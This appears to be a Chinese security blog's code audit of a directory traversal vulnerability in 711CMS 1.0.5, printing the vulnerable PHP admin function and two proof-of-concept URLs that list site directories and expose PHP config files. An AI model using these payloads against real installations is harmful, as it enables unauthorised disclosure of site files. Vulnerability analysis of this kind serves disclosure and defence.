0x00 环境准备

711CMS官网: https://www.711cms.com/

网站源码版本:711CMS 1.0.5 正式版(发布时间:2018-01-20)

程序源码下载:https://www.711cms.com/versions/711cms_V1.0.5.zip

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/admin/controllers/App.php  第323-393行:

  1. public function file() {
  2. $token = $this->input->get('token', true);
  3. $time = $this->input->get('time', true);
  4. $folder = $this->input->get('folder',true);
  5. $folder = $folder ? $folder : '/';
  6. $type = $this->input->get('type', true);
  7. $folder = urldecode($folder);
  8. $arr_token = array(
  9. 10.         'folder' => $folder,
  10. 11.         'type' => $type,
  11. 12.         'time' => $time
  12. 13.     );
  13. 14.     $private = md5($this->input->server('HTTP_HOST') . $this->_site['auth_code']);
  14. 15.     $token2 = appToken($arr_token, $private);
  15. 16.     if ($token2 != $token) {
  16. 17.         $folder = '/';
  17. 18.     }
  18. 19.     if (strpos($folder, '..') !== false || strpos($folder, ':') !== false) {
  19. 20.         $folder = '/';
  20. 21.     }
  21. 22.
  22. 23.     $type = $type ? $type : 'apk|jpg|gif|png';
  23. 24.     $this->_data['type'] = $type;
  24. 25.
  25. 26.     $arr_type = explode('|', $type);
  26. 27.     $arr_type_num = count($arr_type);
  27. 28.     if ($folder) {
  28. 29.         $dir = root_path($folder);
  29. 30.         $arr_data = array();
  30. 31.         $arr_data['folders'] = array();
  31. 32.         $arr_data['apks'] = array();
  32. 33.         $arr_data['images'] = array();
  33. 34.         $scan_result = scandir($dir);
  34. 35.         foreach ($scan_result as $key => $value) {
  35. 36.             if ($value == '.' || $value == '..') {
  36. 37.                 continue;
  37. 38.             }
  38. 39.             if (is_dir($dir . $value)) {
  39. 40.                 $arr_data['folders'][] = array(
  40. 41.                     'folder' => $value,
  41. 42.                     'size' => filesize($dir . $value) ? filesize($dir . $value) : 0,
  42. 43.                     'date' => filemtime($dir . $value) ? filemtime($dir . $value) : time() - 3600 * 12
  43. 44.                 );
  44. 45.             } else {
  45. 46.                 $type = explode('.', $value);
  46. 47.                 $type = array_reverse($type);
  47. 48.                 if (in_array($type[0], $arr_type) && $arr_type_num == 1) {
  48. 49.                     $arr_data['apks'][] = array(
  49. 50.                         'apk' => $value,
  50. 51.                         'size' => filesize($dir . $value) ? filesize($dir . $value) : 0,
  51. 52.                         'date' => filemtime($dir . $value) ? filemtime($dir . $value) : time() - 3600 * 12
  52. 53.                     );
  53. 54.                 }
  54. 55.                 if (in_array($type[0], $arr_type) && $arr_type_num > 1) {
  55. 56.                     $arr_data['images'][] = array(
  56. 57.                         'image' => $value,
  57. 58.                         'size' => filesize($dir . $value) ? filesize($dir . $value) : 0,
  58. 59.                         'date' => filemtime($dir . $value) ? filemtime($dir . $value) : time() - 3600 * 12
  59. 60.                     );
  60. 61.                 }
  61. 62.             }
  62. 63.         }
  63. 64.         $this->_data['file'] = $arr_data;
  64. 65.         $this->_data['folder'] = $folder;
  65. 66.         $this->_data['time'] = time();
  66. 67.         $this->_data['private'] = $private;
  67. 68.
  68. 69.     }
  69. 70.     $this->loadView('/App/file');

71. }

这段函数获取参数进行简单的处理,然后验证token,根据$folder的值进行列目录,然后再根据$type选择类型展示。参数在传递过程中未进行任何有效过滤,

导致程序在实现上存在目录遍历漏洞,攻击者可利用该漏洞获取敏感信息。

0x02 漏洞利用

1、登录后台,构造url,获取网站目录结构。

获取网站根目录Payload:

http://127.0.0.1/admin.php?c=App&m=file&folder=/&type=apk|jpg|gif|png

2、程序默认展示apk|jpg|gif|png四种类型的结果,我们可以通过改变$type的值来改变展示的类型。

http://127.0.0.1/admin.php?c=App&m=file&folder=/admin/config/&type=apk|jpg|gif|png|php

0x03 修复建议

1、正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】711cms_V1.0.5 目录遍历漏洞分析的更多相关文章

  1. 【代码审计】大米CMS_V5.5.3 目录遍历漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  2. 【代码审计】CLTPHP_v5.5.3后台目录遍历漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  3. [cyber security][php]pfSense目录遍历漏洞分析

    0×00 导言 pfSense是一个基于FreeBSD,专为防火墙和路由器功能定制的开源版本. 在本文中,我们将向大家介绍在pfSense的2.1.3以及更低版本中的CVE-2014-4690漏洞:对 ...

  4. 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞

    目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...

  5. nginx解析漏洞,配置不当,目录遍历漏洞环境搭建、漏洞复现

    nginx解析漏洞,配置不当,目录遍历漏洞复现 1.Ubuntu14.04安装nginx-php5-fpm 安装了nginx,需要安装以下依赖 sudo apt-get install libpcre ...

  6. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  7. HttpClient使用之下载远程服务器中的文件(注意目录遍历漏洞)

    参考文献: http://bbs.csdn.net/topics/390952011 http://blog.csdn.net/ljj_9/article/details/53306468 1.下载地 ...

  8. 目录遍历漏洞简介 转载于h3c

    参考文章: 攻防:目录遍历漏洞简介

  9. nginx目录遍历漏洞复现

    nginx目录遍历漏洞复现 一.漏洞描述 Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露. 二.漏洞原理 1. 修改nginx.conf,在如下图位置添 ...

随机推荐

  1. JS 二维数组排序

    <script> //测试方法 var a = [ {name:'hdj', age:128}, {name:'hdj1', age:28}, {name:'hdj1', age:78}, ...

  2. Spring,hibernate,struts的面试笔试题(含答案)

    Hibernate工作原理及为什么要用? 原理: 1.读取并解析配置文件 2.读取并解析映射信息,创建SessionFactory 3.打开Sesssion 4.创建事务Transation 5.持久 ...

  3. RootKit

    类型0:藏在人群中,干扰人工肉眼检查 类型1 2:篡改系统内部的数据结构和调用表,破坏自动化检测工具,这项数据结构和调用表是检测工具和KootKit共用的 类型3:跳出束缚,由rootkit实现本该宿 ...

  4. 初试PyOpenGL二 (Python+OpenGL)基本地形生成与高度检测

    在上文中,讲述了PyOpenGL的基本配置,以及网格,球形的生成,以及基本的漫游.现在利用上一篇的内容,来利用高程图实现一个基本的地形,并且,利用上文中的第三人称漫游,以小球为视角,来在地形上前后左右 ...

  5. Opengl绘制我们的小屋(一)球体,立方体绘制

    这个系列我想用来运用opengl红皮书的前八章节的内容,来打造一个室内小屋. 这一章主要是定义几个基本的结构.并给出球体与立方体的画法,先让我们来定义一些基本的结构.一个是包含点,法向量,纹理贴图向量 ...

  6. F# 图形数学基础。

    这几天,在看Unity3D,很有意思,其中看到,第一人称控制器,就想看到里面的一些控制脚本是如何实现,才发现,学到的好多数据知识已经还给老师了,还好,走遍大江南北,跟着的书不多,唯一的二本高数没丢. ...

  7. qualcomm sdm450 tinymix mic record

    最近需要使用tinymix配置主MIC和副MIC进行录音,一般副MIC都是拿来降噪用的.记录一下副MIC录音的方法. 没有找到高通的音频通路图,只能通过logcat,查看audio_route,然后找 ...

  8. Linux Shell的 & 、&& 、 ||

    Linux Shell的 & .&& . || 收藏 hanzhankang 发表于 3年前 阅读 18472 收藏 20 点赞 4 评论 0 开程序员的淘宝店!寻找开源技术服 ...

  9. 【翻译自mos文章】Linux的/var/log/messages是空的(0k),messages.0, messages.1也是空的

    Linux的/var/log/messages是空的(0k),messages.0, messages.1也是空的 来源于: The /var/log/messages is empty, and s ...

  10. poj1276

    题目链接:http://poj.org/problem? id=1276 Cash Machine Time Limit: 1000MS   Memory Limit: 10000K Total Su ...